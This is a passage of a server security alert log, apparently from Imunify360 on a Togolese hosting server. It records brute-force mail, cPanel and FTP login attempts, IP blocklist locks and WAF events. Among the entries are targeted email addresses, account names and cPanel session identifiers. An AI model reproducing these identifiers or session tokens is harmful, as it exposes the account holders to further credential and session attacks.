2026-06-06 21:17:28 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [75.127.7.216]:52328: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-06 21:17:40 +0000] info [cpaneld] 195.3.220.88 - heroes "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user heroes (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.170.119
country_id: 1522867
description:
2026-06-06 21:17:44 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [109.248.170.119]:45070: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.170.119
country_id: 1522867
description:
2026-06-06 21:17:51 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [109.248.170.119]:45070: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.80.14.130
country_id: 1835841
description:
2026-06-06 21:17:58 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [47.80.14.130]:55936: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.181.0.177
country_id: 6252001
description:
2026-06-06 21:18:29 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [108.181.0.177]:34810: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.251.246
country_id: 6252001
description:
2026-06-06 21:18:42 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [149.34.251.246]:33814: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.251.246
country_id: 6252001
description:
2026-06-06 21:18:49 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [149.34.251.246]:33814: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.220
country_id: 2750405
description:
2026-06-06 21:19:36 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [104.28.159.220]:33661: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.82.47
country_id: 6252001
description:
2026-06-06 21:18:54 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [144.31.82.47]:46184: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.9
country_id: 1861060
description:
2026-06-06 21:19:23 dovecot_plain authenticator failed for H=vm2042.akenai.wtf (188-137-253-151.netherlands-3.vps.ac) [31.76.91.9]:43284: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.217.249.72
country_id: 2750405
description:
2026-06-06 21:19:54 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [162.217.249.72]:47022: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.221.196.180
country_id: 2921044
description:
2026-06-06 21:20:21 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [162.221.196.180]:44320: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.69.218.210
country_id: 2802361
description:
2026-06-06 21:20:34 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [109.69.218.210]:34788: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.55.146.153
country_id: 6252001
description:
2026-06-06 21:21:04 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [38.55.146.153]:59838: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-06 21:21:39 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [211.178.105.134]:47898: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.193.129.98
country_id: 1269750
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-21.20.193.129.98||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.75.168.50
country_id: 3017382
description:
2026-06-06 21:20:52 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [51.75.168.50]:54264: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.254
country_id: 6252001
description:
2026-06-06 21:22:10 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [72.56.59.254]:57107: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.71.219.206
country_id: 298795
description:
2026-06-06 21:22:22 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [185.71.219.206]:64226: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.105.134
country_id: 1835841
description:
2026-06-06 21:21:48 dovecot_login authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [211.178.105.134]:47898: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.102.144.110
country_id: 2635167
description:
2026-06-06 21:21:59 dovecot_plain authenticator failed for H=vmi2340617.contaboserver.net (188-137-253-151.netherlands-3.vps.ac) [149.102.144.110]:36078: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.19.198.236
country_id: 6252001
description:
Jun  6 21:22:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.19.198.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.29.139.157
country_id: 2750405
description:
Jun  6 21:23:04 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.29.139.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.29.139.157
country_id: 2750405
description:
2026-06-06 21:23:06 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [193.29.139.157]:37592: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.19.198.236
country_id: 6252001
description:
2026-06-06 21:22:55 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [37.19.198.236]:55428: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.71.158.9
country_id: 2750405
description:
2026-06-06 21:23:27 dovecot_plain authenticator failed for H=(188-137-253-151.netherlands-3.vps.ac) [206.71.158.9]:60650: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 20.193.129.98
country_id: 1269750
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-26.20.193.129.98||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 168.121.202.20
country_id: 3469034
description:
168.121.202.20 - - [06/Jun/2026:21:27:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092970&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F11%252F16%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780781234 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/11/16/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.9418.1606 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:168.121.202.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.84.22.219
country_id: 1835841
description:
Jun  6 21:29:57 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.84.22.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.155.23.12
country_id: 2017370
description:
2026-06-06 21:30:30 H=([178.155.23.219]) [178.155.23.12]:61705 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.84.22.219
country_id: 1835841
description:
2026-06-06 21:29:59 dovecot_plain authenticator failed for H=(eairyl1yk8xkvscie0g69aefgn2xs) [61.84.22.219]:11043: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.175.28.255
country_id: 2017370
description:
2026-06-06 21:30:08 H=([46.175.28.255]) [46.175.28.255]:55583 F=<John@4452.com> rejected RCPT <8069webloginagounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.143.101
country_id: 3469034
description:
Jun  6 21:33:39 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.143.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.99.132
country_id: 3057568
description:
Jun  6 21:33:57 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.99.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.143.101
country_id: 3469034
description:
Jun  6 21:33:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.143.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.252.47.2
country_id: 6251999
description:
[2026-06-06 21:36:51 +0000] info [whostmgrd] 99.252.47.2 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 21:38:07 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 21:38:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:26396: 535 Incorrect authentication data (set_id=roy)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Extra Rounds sepoladi.blogspot.ca mc||Email:Sfowler0424@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.175.28.255
country_id: 2017370
description:
2026-06-06 21:38:33 H=([46.175.28.255]) [46.175.28.255]:55139 F=<John@4452.com> rejected RCPT <8069webloginagounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 46.175.28.255
country_id: 2017370
description:
2026-06-06 21:41:51 H=([46.175.28.255]) [46.175.28.255]:61384 F=<John@4452.com> rejected RCPT <8069webloginagounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.88
country_id: 294640
description:
2026-06-06 21:44:00 dovecot_login authenticator failed for H=(82-65-140-218.subs.proxad.net) [46.210.95.88]:53992: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 21:44:42 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 21:44:44 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:43195: 535 Incorrect authentication data (set_id=lebron23)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.210.95.88
country_id: 294640
description:
Jun  6 21:43:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.210.95.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 152.32.186.240
country_id: 1819730
description:
Jun  6 21:44:56 ns5 pure-ftpd[3138943]: (?@152.32.186.240) [INFO] New connection from 152.32.186.240


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 152.32.186.240
country_id: 1819730
description:
Jun  6 21:45:05 ns5 pure-ftpd[3139030]: (?@152.32.186.240) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.10.70.123
country_id: 298795
description:
Jun  6 21:51:47 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.10.70.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 21:51:05 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:50401: 535 Incorrect authentication data (set_id=newname)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 21:51:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.27
country_id: 732800
description:
Jun  6 21:52:05 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.99.173
country_id: 6252001
description:
[2026-06-06 21:52:27 +0000] info [whostmgrd] 82.40.99.173 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.10.70.123
country_id: 298795
description:
Jun  6 21:51:54 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.10.70.123 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.17.23.183
country_id: 2635167
description:
[2026-06-06 21:52:49 +0000] info [whostmgrd] 92.17.23.183 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.82.157.44
country_id: 1269750
description:
Jun  6 21:53:47 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.82.157.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.82.157.44
country_id: 1269750
description:
Jun  6 21:53:54 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.82.157.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.145
country_id: 6252001
description:
2026-06-06 21:54:16 dovecot_login authenticator failed for H=(inger.tg) [72.56.59.145]:26977: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.34
country_id: 130758
description:
Jun  6 21:54:40 ns5 pure-ftpd[3146871]: (?@172.94.9.34) [WARNING] Authentication failed for user [selithgroup]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 118.194.251.145
country_id: 1605651
description:
Jun  6 21:55:57 ns5 pure-ftpd[3148154]: (?@118.194.251.145) [INFO] New connection from 118.194.251.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.135.232
country_id: 690791
description:
Jun  6 21:56:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.135.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.170
country_id: 3175395
description:
Jun  6 21:56:43 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun  6 21:56:44 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 118.194.251.145
country_id: 1605651
description:
Jun  6 21:56:06 ns5 pure-ftpd[3148251]: (?@118.194.251.145) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.85
country_id: 1269750
description:
Jun  6 21:56:41 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.97
country_id: 3469034
description:
Jun  6 21:56:42 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.135.254
country_id: 3469034
description:
Jun  6 21:57:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.135.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.93.68.109
country_id: 298795
description:
Jun  6 21:57:05 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.93.68.109 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun  6 21:56:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.170
country_id: 3175395
description:
Jun  6 21:56:50 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.49.90.187
country_id: 6252001
description:
[2026-06-06 21:57:19 +0000] info [whostmgrd] 173.49.90.187 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 21:57:25 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 21:57:27 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:12885: 535 Incorrect authentication data (set_id=dinamo)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.185.18.177
country_id: 357994
description:
[2026-06-06 21:58:46 +0000] info [whostmgrd] 102.185.18.177 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.112.223
country_id: 6252001
description:
[2026-06-06 21:59:38 +0000] info [cpaneld] 82.40.112.223 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.101.181
country_id: 6252001
description:
[2026-06-06 21:58:50 +0000] info [cpaneld] 192.204.101.181 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.38
country_id: 3469034
description:
Jun  6 21:59:26 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Out Your Virtual Treasure Prize sepoladi.blogspot.sk Rn||Email:reda_allo@hotmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-01.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 22:03:43 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 22:03:45 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:42875: 535 Incorrect authentication data (set_id=loco)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.255.177.11
country_id: 2017370
description:
2026-06-06 22:03:03 H=([185.255.177.11]) [185.255.177.11]:59134 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 183.31.44.28
country_id: 1814991
description:
2026-06-06 22:05:40 H=([183.31.27.47]) [183.31.44.28]:2877 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.34
country_id: 130758
description:
Jun  6 22:06:24 ns5 pure-ftpd[3155674]: (?@172.94.9.34) [WARNING] Authentication failed for user [snb]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 183.31.44.28
country_id: 1814991
description:
2026-06-06 22:07:02 H=([183.31.27.47]) [183.31.44.28]:2106 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.80.36.86
country_id: 1168579
description:
Jun  6 22:06:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.80.36.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.80.36.86
country_id: 1168579
description:
2026-06-06 22:07:00 dovecot_plain authenticator failed for H=(localhost) [154.80.36.86]:64856: 535 Incorrect authentication data (set_id=xohyzuse@cameg-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.141.225.181
country_id: 2635167
description:
[2026-06-06 22:07:55 +0000] info [whostmgrd] 81.141.225.181 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.255.177.11
country_id: 2017370
description:
2026-06-06 22:08:14 H=([185.255.177.11]) [185.255.177.11]:50309 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.59
country_id: 3175395
description:
2026-06-06 22:09:22 dovecot_login authenticator failed for H=vm1357.akenai.wtf (inger.tg) [31.76.113.59]:42614: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.86.60.250
country_id: 3469034
description:
Jun  6 22:09:50 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.86.60.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-06 22:10:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:20282: 535 Incorrect authentication data (set_id=analyzer)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.9
country_id: 3469034
description:
Jun  6 22:10:12 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.9 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.74
country_id: 2635167
description:
[2026-06-06 22:10:33 +0000] info [cpaneld] 5.230.153.74 NEW abttogo:RjOtgeGQVueMQEVd address=5.230.153.74,app=cpaneld,creator=abttogo,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:10:41 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:6784: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  6 22:10:00 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-06 22:10:26 +0000] info [cpaneld] 5.230.133.74 - cetitiuu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.19
country_id: 6252001
description:
[2026-06-06 22:10:49 +0000] info [cpaneld] 64.44.59.19 NEW sadis:rXzFDFnz7kYZOPOi address=64.44.59.19,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.153.197
country_id: 2635167
description:
[2026-06-06 22:11:25 +0000] info [cpaneld] 5.230.153.197 - xflhqsmv "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-06 22:11:28 +0000] info [cpaneld] 5.230.133.44 - ubwmytwf "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: User ubwmytwf has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.49.114.223
country_id: 102358
description:
2026-06-06 22:11:46 dovecot_plain authenticator failed for H=(localhost) [188.49.114.223]:51593: 535 Incorrect authentication data (set_id=emmanuel.megbenu@mesyscom.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-06 22:11:07 +0000] info [cpaneld] 5.231.64.90 NEW glfmqhlj:OGV4okWFfklww677 address=5.231.64.90,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:11:08 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:25728: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.38
country_id: 2635167
description:
[2026-06-06 22:11:35 +0000] info [cpaneld] 5.230.153.38 NEW ljrwwgxg:oPZbUm8yR3Dyr5M_ address=5.230.153.38,app=cpaneld,creator=ljrwwgxg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.11.236
country_id: 2287781
description:
2026-06-06 22:11:51 dovecot_login authenticator failed for H=(ELISABETH) [102.207.11.236]:3712: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-06 22:12:35 +0000] info [cpaneld] 5.230.133.115 - arsetg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
